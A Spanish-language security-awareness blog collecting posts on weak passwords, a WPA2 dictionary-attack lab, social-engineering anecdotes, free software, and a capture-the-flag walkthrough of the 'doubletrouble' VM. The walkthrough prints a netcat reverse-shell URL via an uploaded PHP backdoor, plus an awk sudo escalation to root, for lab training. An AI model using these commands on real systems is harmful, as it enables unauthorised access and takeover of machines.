Año 2552, contraseña: 11111

Es mi deber moral advertir que el siguiente párrafo tiene un ligero spoiler de Halo, la serie que se presenta por Paramount+

Andaba muy tranquilo poniéndome al día con la serie de Halo que se emite por Paramount+ y hubo un suceso que llamó mi atención: el artefacto, un elemento que se presume es bastante importante para la poder ganar la guerra entre los humanos y el Covenant estaba custodiado en una sala cuyo acceso estaba protegido por contraseña, la cuál es 11111.

El artefacto es un elemento que puede ayudar a ganar la guerra contra el Covenant, resguardado en una sala cuya contraseña de acceso son sólo 5 caracteres, que además son secuenciales, sin una comprobación biométrica, sin otro factor de autenticación y que fue deducido por una IA en pocos segundos… en el siglo XXVI la humanidad ha podido conquistar otras galaxias, pero no ha podido adquirir conciencia acerca de asegurar adecuadamente sus activos importantes. Tal parece que la UNSC no alcanzó a leer la entrada donde expliqué el porqué es una mala idea una contraseña así y sólo queda pensar que el futuro será catastrófico a nivel de ciberseguridad para la humanidad.

Y yo entiendo muy bien que los guionistas se toman este tipo de libertades creativas, no se van a gastar el presupuesto de la serie contratando un panel de expertos en ciberseguridad para que debatan cómo los humanos deberían asegurar los activos en 500 años, sólo para complacer a un montón de ñoñazos (porque estoy seguro que no fui el único de mi área que lo notó) que ni en sus ratos de ocio dejan de pensar en estas cosas.

Pero a lo que quiero ir, es que este problema de un futuro bastante distante no es ajeno a esta época, así como en 2552, en la actualidad muchas personas no tienen una política robusta de contraseñas. Y algunos dirán “pues es que yo no tengo que custodiar un artefacto militar que permita ganar la guerra, entonces no tengo que preocuparme por una contraseña segura” y aunque puede ser cierto que la mayoría de nosotros no custodia elementos que puedan definir el futuro de la humanidad, sí tenemos una identidad digital que deberíamos tratar como tal.

¿Por qué se insiste tanto una contraseña robusta?

Estamos atados a una vida digital, tenemos múltiples cuentas: redes sociales, bancos, correos electrónicos, aplicaciones, etc, y a nivel laboral también, accesos a paneles de gestión, servicios de VPN, correos corporativos, entre otras. Una contraseña con una complejidad considerable puede evitar que personas no autorizadas accedan a estas y se materialicen riesgos como suplantación de identidad, robo de información, extorsión, fraudes, fuga de información confidencial, entre muchos otros horrores que se pueden ver en internet día a día. Y sí, se que algunos también dirán “pues yo no tengo nada que esconder, pueden entrar a la cuenta que sea”, y creo que esa es de las frases que más me frustran cuando hablo de estos temas con alguien, sin embargo los riesgos están ahí latentes, ignorarlos no hará que desaparezcan.

Cierre

Este tema respecto a las contraseñas y la forma de proteger nuestras cuentas es algo extenso, en próximas entradas seguiré profundizando al respecto, por ahora sólo quería dejar esta pequeña reflexión, aprovechando el momento de ocio viendo la serie.

Recuerden que pueden invitarme a un cafecito.

Ahora son tres años

Hasta que me llegó un correo electrónico de mi proveedor de hosting recordándome que el dominio de este sitio web estaba próximo a vencer, no había caído en cuenta que se cumplen 3 años de este blog y como es costumbre, me gusta celebrarlo escribiendo aquí mismo.

Mientras preparaba qué escribir, comencé a leer las entradas conmemorativas de los años anteriores y ya entrado en gastos, comencé a leer todas las entradas, y aunque yo convivo con mis pensamientos 24/7 y estoy acostumbrado a oírme a mí mismo, reconozco que ustedes tienen mucha paciencia para leer tantos párrafos sin sentido y con problemas de redacción, pero acá no es donde les agradeceré por leerme, eso será más adelante. Este ejercicio que he hecho, ha sido un completo viaje en el tiempo, he reflexionado cómo ha cambiado en el tiempo la estructura del blog, cuando comencé quería comenzar con conceptos de cero, explicaciones sencillas, pero se ha trasladado un poco más hacia la reflexión sobre situaciones cotidianas y la ciberseguridad, me gusta mucho ese camino que he ido tomando, junto con la forma en que expreso las ideas, siento que ha sido un lenguaje mucho más relajado y un poco menos pretencioso.

Viendo la entrada conmemorativa del segundo aniversario, he advertido que se cumple un año de la idea del canal de Youtube y el intento de conquista de otros públicos, cosa que se volvió una especie de chiste interno (del cual me río únicamente yo) diciendo algo como “para la próxima sí”, “a final de año sí” y sigue siendo un borrador, pero no significa que la haya abandonado, sólo que estoy inmerso en otras situaciones importantes para mí, pero con la firme convicción de que, toda idea que se comienza, debo terminarla algún día.

Tres años han pasado ya, y sólo puedo estar feliz por perdurar en el tiempo, también muy agradecido por las veces en que la gente a la que me dirijo (amigos y conocidos), comparten, me comentan o dejan un “like” en alguna red social o simplemente con su preguntas, me dan alguna idea para escribir, tres años intentado impactar a alguien sobre la ciberseguridad, el hacking y las situaciones cotidianas del ciberespacio me recargan el ánimo para continuar por acá con puras incoherencias y chistes flojos. Gracias por estar ahí siempre.

Mi número de identificación, mi contraseña

¿Quiénes de ustedes creen que es buena idea tener como contraseña su número de identificación (en otros países es el equivalente a Cédula de ciudadanía, DNI, ID, número de identificación, etc)? Bien, pues para aquellos que creen que es una gran contraseña, emprenderemos una trepidante aventura, con un laboratorio sencillo para demostrar que no lo es.

Antes que nada, veamos cuáles podrían ser los motivos por los cuáles alguien podría usar su número de identificación como contraseña:

  • Longitud: En Colombia, los números de identificación oscilan entre 8 y 10 caracteres y 8 son el mínimo exigido por muchos sistemas.
  • Fácil de recordar: Es nuestro número de identificación y lo necesitamos para casi todo, no nos podríamos olvidar de este dato tan fácilmente.
  • Personal: Sólo nosotros mismos nos sabemos este número, nadie va a andar por la vida aprendiéndose el número de identificación ajeno ¿O sí?
  • Sistemas laxos: Aunque me da la impresión que cada vez es menos frecuente, aún hay sistemas que no son estrictos con las políticas de asignación de contraseñas.

Consideraciones antes empezar

  • Habrá un par de elementos un poco técnicos, pero, para los no técnicos, por favor no pierdan el foco de lo que vamos a hacer: comprobar que no se debe usar el documento de identificación como contraseña.
  • Lo más común es que los números de identificación (por lo menos en Colombia), estén entre 10.000.000 y 1.111.111.111, sin embargo, por ser sólo una prueba de concepto, acortaremos el rango de documentos entre 40.000.000 y 89.000.000.
  • No vamos a escribir uno por uno cada documento (son 50.000.000 en el rango que elegimos), he creado un pequeño script en python que facilita el trabajo, basta con correr python3 dict.py > dict.txt para que el listado quede guardado en un archivo de texto llamado dict.txt, que a partir de ahora, nos referiremos como “diccionario”.

    #!/usr/bin/python3

    def dictionary():

       start = 40000000
       end = 90000000

       for i in range(start,end):
               print (i)


    if __name__ == "__main__":
       dictionary()

Armando el laboratorio

Para nuestro objetivo, he utilizado un router casero, como el que todos tenemos en casa, he configurado una red WiFi llamada “computadoresycafe” (Ja!, seguro no se esperaban ese nombre) y como contraseña elegí un número al azar dentro del diccionario, la seguridad será WPA2-PSK, que, es el común denominador en la mayoría de redes inalámbricas domésticas y algunas corporativas.

Script de python en una línea para elegir un número aleatorio en el rango seleccionado.
Configuración de red. Clave censurada porque vamos a adivinarla.
Red wifi configurada y lista para ser atacada.

Ahora bien. no describiré todo el proceso, ni mostraré el paso a paso, como es costumbre acá, siento que estaría empujando a alguien a hacer cualquier tontería y no quiero sentirme responsable por tonterías, más que por las mías y en la bastedad de internet realmente hay un montón de tutoriales que describen todo paso a paso. Sin embargo resumiré los pasos que se llevan a cabo y el resultado final.

Identificar nuestro objetivo

Es lo primero que necesitaremos, debemos identificar cuál será la red inalámbrica que utilizaremos para nuestro cometido, adicional necesitaremos la MAC del dispositivo, pero nada de nervios, no necesitamos acceder a ninguna arte oscura para obtenerlo, el programa que se utiliza para estas cosas hace todo por uno.

Monitorear

Bien, ahora sólo debemos monitorear qué sucede en la red que estamos atacando, básicamente necesitamos que alguien se conecte a esta, ¿por qué? fácil, cuando alguien se conecta a una red wifi, la contraseña viaja “por el aire” entre un dispositivo conectado y el router, el router valida que la contraseña sea correcta y ahí permite la conexión, a todo este proceso se le llama handshake.

Como ya se dijo, se debe esperar pacientemente a que alguien se conecte a la red en específico, o se puede forzar una desconexión entre alguien que ya lo esté, para que se tenga que reconectar, da igual el método, lo importante es obtener el dichoso handshake.

Se podría pensar que la contraseña se podría obtener si capturamos los paquetes que “viajan por el aire”, sin embargo esta va cifrada, por lo cual nos vamos al siguiente punto.

Ataque de diccionario

Este es el paso final, a grandes rasgos y de manera muy amplia, lo que debemos es comparar las 50.000.000 líneas que contiene nuestro diccionario, cifrarlo como se cifraría el handshake y compararlo con el que se capturó. Por supuesto, todo esto es automatizado, no tenemos que preocuparnos por nada, más que por escribir una línea de comando y esperar pacientemente.

Como podemos ver, este proceso tardará alrededor de unas 3 horas, entonces, mientras esto se ejecuta, vamos por un café…

Y después después de transcurrido un tiempo, logramos encontrar la contraseña de la red inalámbrica

La cual, por supuesto coincide con la contraseña configurada en nuestro router y podemos conectarnos a dicha red.

Preguntas que (espero) puedan surgir a partir de esto:

  • ¿Sólo me veo afectado si uso ese rango de números?
    RTA:
    No, esta prueba de concepto aplica para cualquier rango de números y de cualquier longitud.
  • ¿Es grave que un desconocido se conecte a mi red inalámbrica sin autorización?
    RTA:
    Sí, si alguien mal intencionado se conecta a una red inalámbrica puede ejecutar muchos otros ataques que pueden poner en riesgo la seguridad y la privacidad de una red.
  • Si agrego letras o símbolos a mi contraseña ¿estaré protegido?
    RTA:
    Parcialmente, una contraseña robusta puede dificultar este tipo de ataques, sin embargo, la premisa es que no hay un sistemas completamente seguro.
  • ¿Este ataque sólo aplica para redes inalámbricas?
    RTA:
    No, esto es sólo un ejemplo, usar números como contraseña hace vulnerables correos electrónicos, contraseñas de sitios web, redes sociales y demás.

Cierre

Espero que esta entrada haya sido de utilidad y de reflexión acerca de las contraseñas que utilizan en su día a día. ¿les surge alguna otra pregunta después de ver esto? ¿tienen algún otro motivo por el cuál usarían su número de identificación como contraseña? los invito a dejarlo en los comentarios y si quieren, ya saben que pueden invitarme a un café.

Historias cortas de la vida real (VI) – Pequeño ejemplo de ingeniería social

Hace unos cuantos meses, una amiga que reside en otro país me escribió para contarme cómo, mientras hablaba conmigo, su novio al parecer estaba siendo estafado telefónicamente.

Parecía que iba a ser un día cualquiera en la vida de mi amiga, a quién llamaré Ana (para proteger su identidad) y su novio, al que llamaremos Carlos (porque no me acuerdo de su verdadero nombre), todo cambió cuando Carlos recibió una llamada donde una mujer (su hermana) llorando le decía que la habían secuestrado, luego, el supuesto captor se puso al teléfono y le hizo una exigencia de dinero, que, incluso, fue negociable, los supuestos captores le dijeron que les consignara lo que tuvieran a la mano. Finalmente, Carlos accedió, les hizo un giro por la no despreciable de 1500 dólares, los supuestos captores incluso le dijeron que de ese valor descontara el cargo por el giro (muy queridos ellos) y poco más queda por contar, mientras se hizo toda la transacción, consignación e incluso retiro del dinero, tuvieron a Carlos en la línea ocupado y aunque Ana intentó explicarle de diferentes formas que posiblemente lo estaban estafando, él hizo caso omiso de las advertencias. Unas horas después se confirmó que por fortuna, su hermana nunca estuvo en peligro.

Esta historia nada tiene que ver con computadores, pero que me permite ampliar un poco acerca de lo que hablaba en la entrada anterior sobre la ingeniería social, el concepto es el mismo, desviar el comportamiento de una persona para que tome alguna decisión, en este caso, una bastante errática. Vemos cómo logran crear una situación que genera confusión, porque todos podríamos llegar a preocuparnos al tener un familiar en peligro, y no sólo esto, también se puede apreciar la forma en la que ejercen distracción y control para evitar que la persona implicada no se de cuenta, mantener la mente ocupada evita que pida ayuda a alguien más o que escuche las palabras de Ana. Al final, cuando la transacción se completa y ellos hacen el retiro (notemos también que están muy bien coordinados), simplemente cuelgan y desaparecen sin dejar rastro alguno.

Tristemente esta historia no acaba con un final feliz, pero, de las adversidades de uno, otros pueden sacar provecho como por ejemplo yo al escribir esta entrada.

Este tipo de estafas son bastante comunes y hemos escuchado de ellas muy a menudo, pero allá afuera, aún hay gente susceptible de caer, por eso (y con el debido permiso), me atrevo a escribir sobre esto, confiando en que a alguien, en algún momento le sea útil, ya saben que se pueden invitar a un cafecito en el link de abajo. ¡Hasta la próxima!

Hackeando sin computadores

Introducción

Esta entrada pudo ser un vídeo, de esos que podría subir al canal de Youtube que dije que iba a crear cuando llegaron los dos años del blog, pero, como podrán suponer no he avanzado mucho con ese proyecto y al igual que el amor, la inspiración para escribir llega cuando uno menos se lo espera, así que acá estamos, frente al computador, en una tarde soleada en mi ciudad, mientras disfruto de unos días de vacaciones. Y muchos coincidirán que estando en vacaciones no debería estar acá, sino aprovechando esos días de sol o dedicado a cualquier otra actividad que no implique hablar de trabajo, pero al igual que el amor, la pasión puede más que cualquier otra cosa.

Sin embargo, la idea de escribir esto, surge justamente de estar una noche tumbado en una cama, viendo la ladrona de identidades, la clásica película de humor gringo, que para sorpresa mía, me hizo reír.

Spolier Sinopsis

Por ser una película de 2013, creo que ya no cuenta como spolier, sin embargo intentaré no entrar en muchos detalles. La vida de Sandy Patterson se ve perjudicada por alguien que suplanta su identidad, le causa un gran daño financiero y judicial. Tal vez algunos pensarán que esto lo puede lograr una mente maestra capaz de infiltrarse en todos los sistemas informáticos del mundo, un genio de la informática con una inteligencia superior a la media o una especie de ser que duerme pocas horas al día y está rodeado de pantallas de computador y artifundios electrónicos.

Pues bien, nada más alejado de la realidad, la artífice de la situación que le da título a esta desopilante aventura es Diana, una mujer bastante torpe en muchos aspectos, pero que, a través de ingeniería social se logra hacer con la identidad de Sandy Patterson y desencadena una desternillante aventura.

Lo que nos compete: La ingeniería social

Según el sitio https://www.social-engineer.org/ (para mí, uno de los mayores investigadores sobre la ingeniería social en el mundo) la ingeniería social es “cualquier acto que actúe sobre una persona para que tome una decisión que pueda o no beneficiar a este”[1] es decir, a través de la ingeniería social, se puede influir en el comportamiento de una o varias personas, para que actúen de determinada forma. Volviendo al ejemplo de la película, Diana logró hacerse con la identidad de Sandy a través de una llamada telefónica, fingiendo que era una agente crediticia, ofreciéndole un seguro ya que se habían intentado realizar un fraude (ironías de la vida), solicitó unos datos, los cuales Sandy entregó con confianza y con ello clonó una tarjeta de crédito y su identidad. No necesitó mucho más (excepto por los aparatos con los que imprimió la tarjeta). Casos como estos podemos ver a diario, un ejemplo de ello son esas llamadas fraudulentas fingiendo que un familiar está en algún tipo de problemas, que la clave de nuestro banco fue bloqueada, hacer clic en algún enlace, descargar un programa o que incluso uno se ha ganado un premio de algún tipo. Cualquiera de estas acciones, sin importar su consecuencia (robo de identidad, estafa, robo de dinero, acceso no permitido a un computador o red) es considerado ingeniería social y es altamente utilizado por los delincuentes para llevar a cabo su cometido.

La escena en cuestión

¿Estamos a la deriva en esto?

Por tratarse de un ataque que está meramente dirigido hacia una persona, no hay software, antivirus o dispositivo que pueda solucionar esto, sin embargo la mejor defensa para estos casos es desconfiar, la ingeniería social se basa en crear un entorno confiable a la víctima, solicitar su cooperación en algo o directamente intimidar de alguna forma, por eso es importante detenerse durante unos segundos para pensar con cabeza fría la situación y analizar muy bien el entorno.

En el link de abajo pueden invitarme a un café, a ver si así logro avanzar con el canal de Youtube, un abrazo.

Referencias

[1] What is Social Engineering? (2014, enero 21). Security Through Education. https://www.social-engineer.org/about/

Reflexionando sobre el software libre gracias a Winamp

Introducción para los nostálgicos

Bueno, esta entrada pudo haber sido un vídeo de youtube, sin embargo, he tenido unos cuántos inconvenientes a nivel logístico y creativo, sin embargo no quería dejar pasar la oportunidad de escribir esto, al ver que, después de muchos años, se liberó una nueva versión de winamp.

Para quienes no lo sepan, o lo hayan olvidado, winamp fue un emblemático reproductor multimedia de windows, que fue muy popular en nuestra generación ya que era muy versátil, tenía una interfaz gráfica muy ordenada, permitía adaptar sus módulos de manera fácil y creo que la mejor función de todas era que su apariencia se podía personalizar con la instalación de skins, además era gratuito. Me atrevo a decir que en su época fue uno de los software más populares y utilizados.

Así lucía winamp

Desconozco los motivos por los cuales este reproductor perdió popularidad, comenzó a quedar en el olvido y su desarrollo se detuvo, sin embargo la versión 5.9 RC1 ya fue publicada.

¿Qué es el software libre?

El software libre nació cuando Richard Stallman, (al igual que muchos de nosotros) se peleó con su impresora, bueno, en realidad fue con los fabricantes de la impresora, ya que no quisieron suministrar el código fuente del controlador de esta para poder agregarle una nueva funcionalidad y a partir de ahí, se creó todo un movimiento, basado en la filosofía de descargar, modificar, distribuir y examinar el código fuente de un software de manera libre y sin restricciones a través de la GNU General Public License.

Libre no es lo mismo que gratis

Como ya lo había dicho, Winamp se distribuyó de forma gratuita y esta nueva versión no es la excepción, sin embargo hay algo que me gustaría remarcar, según el portal Xataka, Winamp puede ser detectado como software malicioso, es decir, que dentro del programa podría estar contenido algún otro que pueda comprometer la seguridad o la privacidad de quien lo utiliza, sin embargo, se dice que esto sólo es un falso positivo y que el programa es seguro. Y con esto es como quiero explicar la diferencia sustancial entre un programa de descarga gratuita (en la que no se debe pagar por su usufructo) y el software libre (amparado bajo la licencia GNU GPL). En un principio, tanto los programas gratis y los libres, pueden ser descargados y distribuidos sin tener que dar dinero al desarrollador, pero el software libre nos otorga una libertad, podemos descargar el código fuente y examinarlo, lo cual nos permitiría saber a ciencia cierta cuál es el contenido de un programa, su comportamiento, sus componentes, etc.

Para retomar, Winamp es un programa gratuito, podemos descargarlo, pero su código fuente no es de escrutinio público, por lo cual sólo nos queda confiar en la palabra de los desarrolladores al decir que no contiene software malicioso.

Conclusión

Entiendo que toda esta cátedra de software libre y gratis al usuario final puede tenerlo sin cuidado, generalmente, uno como usuario regular lo que quiere es poder tener un software por el cual no deba pagar, que funcione sin problemas o limitaciones y ya, seguramente muchos usuarios dirán “pues yo ni programador soy, qué voy a andar necesitando revisar el código de un programa, ni mucho menos tendré tiempo para eso”, sin embargo, me parece importante que, tanto el software libre, como las diferencias que se plantean, sean divulgadas, no para que todos nos convirtamos a esa especie de religión que se ha creado alrededor de Richard Stallman, sino para que muchos sepan que, en esta época donde la tecnología se convirtió en un pilar importante de nuestra vida, la distribución de software libre, es una vía para reducir la brecha tecnológica.

GNU, la imagen oficial del proyecto GNU.

Ya son dos años

Es increíble que entre la entrada que escribí para celebrar un año y esta haya sólo dos publicaciones. Para algunos, un blog con tan pocas entradas en dos años podría ser un proyecto fallido y tal vez tenga razón, sin embargo, yo no lo veo así. Me aferro a la idea que este blog sirvió como un peldaño de otros cuántos que tuve que subir para obtener mi primer trabajo en ciberseguridad, cosa que no podría ponerme más feliz. Y no es sólo eso, tal como escribía acá, este es el lugar donde condenso muchas ideas, cada borrador que escribo y no termino es un recordatorio de las cosas que debo repasar o lo que debo aprender para, ahí sí poder publicar la entrada, teniendo en cuenta la cantidad de borradores que tengo y comparándolo con las entradas publicadas, la conclusión a la que llegamos todos, es que definitivamente, aún hay mucho material que revisar y aterrizar muchas ideas sueltas.

Con pocas o muchas entradas, para esta fecha siempre habrá una publicación para agradecerles a todos los que llegan acá, se toman el tiempo de leer, dejar algún comentario o una donación. Impactar de manera positiva a alguien intentando dejar un poco de lado tanto tecnicismo y palabras sofisticadas para explicar algo que nos concierne a todos, es algo que me llena de mucha alegría y siento que se alinea con ese objetivo utópico de intentar hacer un mundo digital más seguro.

Aun así con el gran aprecio que le tengo a este blog, siento que se está comenzando a quedar estancado en el tiempo, los blogs (junto con los foros) eran por allá en la década pasada el medio más rápido para encontrar noticias, soluciones de máquinas, aprender técnicas y un sin fin de cosas, pero estos medios fueron desplazados por otros que son mucho más llamativos, los video-tutoriales y las transmisiones en directo. Y tiene todo el sentido, estamos en una época en la que intentamos ser multitarea y si esta publicación no fuera un vídeo, en lugar de emplear 2 o 3 minutos frente a la pantalla leyendo, fácilmente mi voz estaría sonando en paralelo mientras van manejando, cocinando o cualquier otra cosa que no requiera tener los ojos fijos en un dispositivo. Así que yo también he decidido dar ese salto a las nuevas plataformas, no sólo por esta razón, sino porque ¿Qué clase de estereotipo nerd sería si no estoy actualizado con las últimas tendencias de tecnología? Además, iniciar este blog era para mí un reto, un reto tecnológico, ¿podría ser capaz de crear un blog desde 0? ¿Podría montarlo con Docker? Y ahora que lo logré, es el momento de plantearse otro reto y este me parece bastante desafiante, porque es sumergirme en un mundo nuevo, sin dejar de hablar de lo que más me gusta: ciberseguridad y tal vez podría llegar a más personas.

Esto no significa que voy a abandonar o cerrar este blog, en el colegio, un profesor me escribió una vez en un trabajo, que no abandonara la costumbre de escribir, porque lo hacía muy bien, aunque yo no creo que lo haga tan bien, acá estoy haciéndole caso hasta el final al profesor de filosofía: Alexander. Ahora bien, Youtube y sus políticas son un verdadero dolor de cabeza para quienes se dedican a compartir contenido de ciberseguridad en esa plataforma, los canales son borrados, los vídeos desmonetizados y con penalizaciones, así que, seguramente, (aunque esta idea no está del todo madura aún) este blog continuará funcionando para publicar ese tipo de cosas que no se la llevan bien con las políticas de Youtube.

Así que supongo que pasará un buen tiempo antes de que vuelvan a tener noticias mías, ya que esta idea del canal de Youtube me empezó a rondar con más fuerza mientras veía mi película favorita y apenas la estoy materializando conforme escribo esto, así que espero nos veamos pronto por Youtube y pueda seguir recibiendo el mismo apoyo como hasta ahora. Un abrazo.

Historias cortas de la vida real (V) – ¿Y si yo fuera de los malos?

Tengo un montón de entradas pendientes por publicar, sin embargo, mientras pensaba cómo invertir el tiempo para poder liberar esa cola de borradores pendientes por terminar, recordé esta historia y decidí sentarme a escribirla y dejar el resto pendientes con la esperanza de encontrar pronto la inspiración y las palabras adecuadas para terminarlas.

Me gusta esta historia porque le permite a mi mente dispersa echar a volar la imaginación y fantasear con un montón de escenarios posibles que no van a suceder jamás, pero que me deja evadirme de las responsabilidades o de otras tareas, por ejemplo, terminar las entradas inconclusas.

Hasta hace ya varios meses mi trabajo era el de mesa de ayuda, reiniciar computadores cuando fallaban, solucionar problemas de hardware, software, etc. Labor que muchos conocen como “el de sistemas”

Puede ser una imagen de una o varias personas, personas de pie, gafas y texto que dice "Soy el pesado de sistemas, y todos me odian."
Mientras escribía “el de sistemas” recordé esta escena de “The Office” la única comedia que me ha gustado en la vida.

Siendo “el de sistemas” muchos amigos, conocidos, familiares, ex-compañeros de trabajo y personas en general, se ha acercado a mí para resolver alguna duda sobre sus computadores y aunque como tal ya no me dedique a esta labor, en la medida que me sea posible y que el tiempo me lo permita, estaré disponible para ayudar en lo que se les dificulte, porque de cierta forma me siento alagado cuando depositan su confianza en mí para solucionar algún problema informático. Justamente esta historia está basada en la confianza (tal vez en exceso) que alguien tuvo conmigo. Quisiera intentar narrar la historia de la manera más detallada posible, sin embargo, prefiero dar unas descripciones muy vagas para evitar que alguien hile lo bastante fino como para dar con la identidad de los implicados en este relato.

Una tarde, alguien acudió a mí para pedirme el favor de revisar el equipo de su cónyuge, ya que estaba tendiendo dificultades con algo que no logro recordar y después de solucionado este tema, me pidió el favor que le ayudara con otro asunto, esta vez, de su trabajo. Acto seguido, esta persona (que trabaja para una importante entidad gubernamental) abrió el software con el que se conecta a través de VPN a su lugar de trabajo, digitó la contraseña y abrió una sesión remota con su sitio de trabajo, todo esto ante mí, que estaba horrorizado y escandalizado en partes iguales por lo que estaba presenciando.

Hay cosas en las que yo definitivamente no puedo intervenir, una de esas es revisar un equipo de una red corporativa, no sólo porque cada área de IT es diferente, cada una con sus políticas, configuraciones y porque, viendo las cosas del lado de “los de sistemas”, esto puede comprometer la seguridad de la información de una compañía, además, puedo apostar el brazo derecho a que permitir que un tercero sin autorización utilice un computador de una compañía es considerado como una falta grave en el código del trabajador con alguna consecuencia al trabajador.

Así que, con base a esta situación, es que surge el título de esta entrada y la fantasía que ronda por mi cabeza ¿y si cuando esto sucedió yo hubiera sido de los malos? ¿Cómo habría podido aprovechar esta situación si en el día yo fuera, “el de sistemas” pero en la noche fuera un ciberdelincuente y estrella del rock?

Pues bueno, abusando de la confianza que esta persona me dio en ese momento, podría haberle dicho algo como “Oye, me voy a demorar un poco acá, si quieres, para que no estés ahí de pie, puedes ir a hacer otra cosa y te aviso cuando esté listo”, esta persona seguramente lo habría aceptado, porque nadie quiere estar de pie, viendo como alguien hace cosas que uno no entiende. Ya sin supervisión de un adulto responsable (irresponsable en este caso), pues los males que yo, como ciberdelincuente y estrella del rock podría causar son variados, por ejemplo, podría instalar un keylogger (software que captura todo lo que se escriba con el teclado), o tal vez instalar una puerta trasera que me permita acceder a este equipo (o el remoto) después, directamente sustraer información, podría intentar descubrir otros equipos dentro de la red corporativa o directamente instalar un ransomware u otro tipo de malware que dañe a esta compañía.

Posiblemente esto último de keyloggers, ransmoware y malware para mis lectores “no técnicos” no esté del todo claro, pero para ponerlo en términos sencillos, en noticias en los últimos años hemos podido ver como han habido virus y otro tipo de ataques que han imposibilitado el acceso a páginas web, servicios o perjudicado de alguna forma empresas tanto públicas como privadas.

Para no darle más largas a esto, porque se supone que esto es una historia corta de la vida real, por favor sean cuidadosos con su información, aún más con la información y equipos corporativos, acaten las normas de seguridad de “los de sistemas”, desconfíen de la ayuda de terceros y recurden que pueden invitarme a un café en el enlace a continuación. Un abrazo.

Walkthrough Doubletrouble Parte I

Introducción

He querido continuar con esta serie de entradas resolviendo máquinas virtuales vulnerables, esta he que traído hoy, se llama doubletrouble y aunque tiene un nivel de dificultad bastante fácil, me ha gustado porque demuestra que cuando en un sistema hay presentes deficiencias de configuración y software desactualizado con vulnerabilidades, puede ser el desencadenante de una gran tragedia.

Reconocimiento

Como siempre, el objetivo de este tipo de máquinas vulnerables por defecto, es lograr comprometerla y obtener privilegios máximos en el sistema (root). y para empezar, haremos un escanneo a la red para encontrar la IP de la máquina víctima:

Con la IP de la máquina víctima, procedemos a revisar qué puertos tiene abiertos y comenzar a indagar un poco sobre el objetivo:

Encontramos dos puertos comunes abiertos en esta clase de máquinas, el 22, para conexiones SSH y el 80, que corresponde a un servicio web, entonces comencemos explorando por ahí.

En efecto nos presenta una página web, con un formulario de ingreso, y encontramos por varias partes “pdPM”, que posiblemente sea la aplicación instalada, con una pequeña búsqueda en google, comprobamos que es un gestor de proyectos web. Aprovechando que en la página de inicio nos muestran la versión instalada, es un buen momento para buscar vulnerabilidades de este software.

Como podemos ver, hay varios exploits interesantes, por ejemplo algunos nos permiten ejecución remota de comandos (RCE), pero necesitamos credenciales de acceso. También vemos que hay un exploit que nos permite ver las credenciales sin estar autenticados, sin embargo, las credenciales expuestas, no funcionan ni para acceder a la aplicación, ni para ingresar por SSH.

Aunque pareciera que estamos atascados, vamos a aplicar una enumeración de directorios sobre el servidor y revisar si hay alguna información o directorio que podamos utilizar.

Hay varios directorios bastante llamativos, por ejemplo, (y les adelanto), en el directorio “secret” hay una imagen, que contiene unas credenciales ocultas con esteganografía, que permite resolver el reto de manera mucho más fácil, sin embargo, aquí no hacemos eso.

Aquí no hacemos eso - Avengers - Plantilla de Meme

El principio del fin

Así que nos centraremos en el directorio “install”, al acceder a el, veremos que nos permite realizar una nueva instalación del software, lo cual ya lo hace bastante peligroso.

Ahora tenemos que configurar la base de datos, intenté usar las credenciales expuestas pero, una vez más, no funcionaron, así que decidí crear un contenedor de docker con una imagen de mariadb.

Hecho esto, después de dar clic en “database config” podemos poner, tanto la IP del servidor (que es la misma IP del atacante), el puerto, que por defecto es 3306, el nombre de la base de datos y las credenciales que definimos al crear el contenedor, por último daremos clic en “install database”.

Finalizando la configuración, podremos poner las nuevas credenciales de acceso, he decidido dejar el usuario que pone por defecto y la contraseña “pwned”, el resto lo dejamos tal cual y finalizamos dando clic en “save”.

En resumen

Hasta el momento no hemos explotado ninguna vulnerabilidad de software, cambiamos la configuración del software para que apunte a una base de datos a una controlada por nostros y poder generar un usuario y contraseña válido de acceso al sistema, ¿para qué? ¡exactamente! poder usar los exploit de ejecución remota de comandos que nos pide autenticación. Esto lo hemos hecho aprovechando un error de configuración del administrador del sistema. Al finalizar la instalación e ingresar con el usuario y contraseña definida, vemos cómo hay una alerta que pide que sea borrado el directorio “install”, el administrador no ha hecho esto y es lo que nos permite ejecutar nuestro siguiente paso.

Explotando vulnerabilidades

Volviendo a la búsqueda de los exploits disponibles para el software qdpm he decidido usar y descargar el 50175

Antes de ejecutar el exploit, vale la pena revisar su código para entender un poco qué es lo que hace, en primera instancia, vemos que hay un campo vulnerable, es “photo”, y que allí cargará un archivo llamado “backdoor.php” y que a través del parámetro “cmd” en una petición get, ejecutará el comando que deseemos.

Nota: Otra de las razones para revisar el código, es que está desordenado y hay que corregir unos cuantos saltos de línea. (Y porque siempre es bueno revisar qué se está ejecutando, para no llevarse sorpresas de algún tipo 😉 )

En otra parte del código, veremos que la cuenta de administrador no servirá para explotar la vulnerabilidad, ya que no tiene una página denominada “my account”

Entonces procederemos a crear una nueva cuenta, daremos clic en “add user” y llenamos los campos necesarios, como contraseña he vuelto a elegir “pwned” y damos clic en save.

Nota: recuerden que reciclar contraseñas no es una buena práctica y que esto lo hago únicamente para efectos de demostración, por favor no lo intenten en casa 😉

Ejecutando el exploit vemos los argumentos que necesita para ejecutarse correctamente:

Entonces procederemos a completarlos y ejecutar el exploit:

Como vemos, nos dice que el exploit se ejecutó correctamente y aunque nos da una ruta para ejecutarlo, esta no es correcta, así que nos dirigiremos a http://10.0.2.22/uploads/users y veremos nuestro backdoor

Ahora ya podemos ejecutar comandos a través del parámetro “cmd”, por ejemplo:

Obteniendo una shell

Ahora que podemos ejecutar comandos, podemos obtener una shell reversa y así desplazarnos mejor por el sistema, comenzamos por poner abrir un puerto con netcat en la máquina atacante:

Desde el navegador iremos a la url http://10.0.2.22/uploads/users/387007-backdoor.php?cmd=nc%20-e%20/bin/sh%2010.0.2.15%20666 que nos entablará la conexión, volvemos a nuestra terminal y veremos esto

Haremos un tratamiento de la terminal para obtener una shell interactiva, no pulicaré imágenes, pero los pasos son los siguientes:

script /dev/null -c bash
presionar ctrl + z

stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash

Con esto obtendremos algo así:

Escalando privilegios

Como vemos, ya hemos ganado acceso a la máquina vulnerable, podemos ejecutar comandos y ahora nos queda convertirnos en superusuario (root), que es lo más fácil de todo este proceso. Podemos ejecutar el comando sudo -l para poder ver qué se puede ejecutar como root, veremos que podemos usar awk como superusuario y sin contraseña.

Así que podemos usar gtfobins para ver cómo podemos elevar privilegios con awk y encontramos el comando sudo awk 'BEGIN {system("/bin/sh")}' lo retocamos un poco, para poder usar bash y tendremos sudo awk 'BEGIN {system("/bin/bash")}', al ejecutarlo, veremos que ya somos root, con lo cual, habremos completado el desafío.

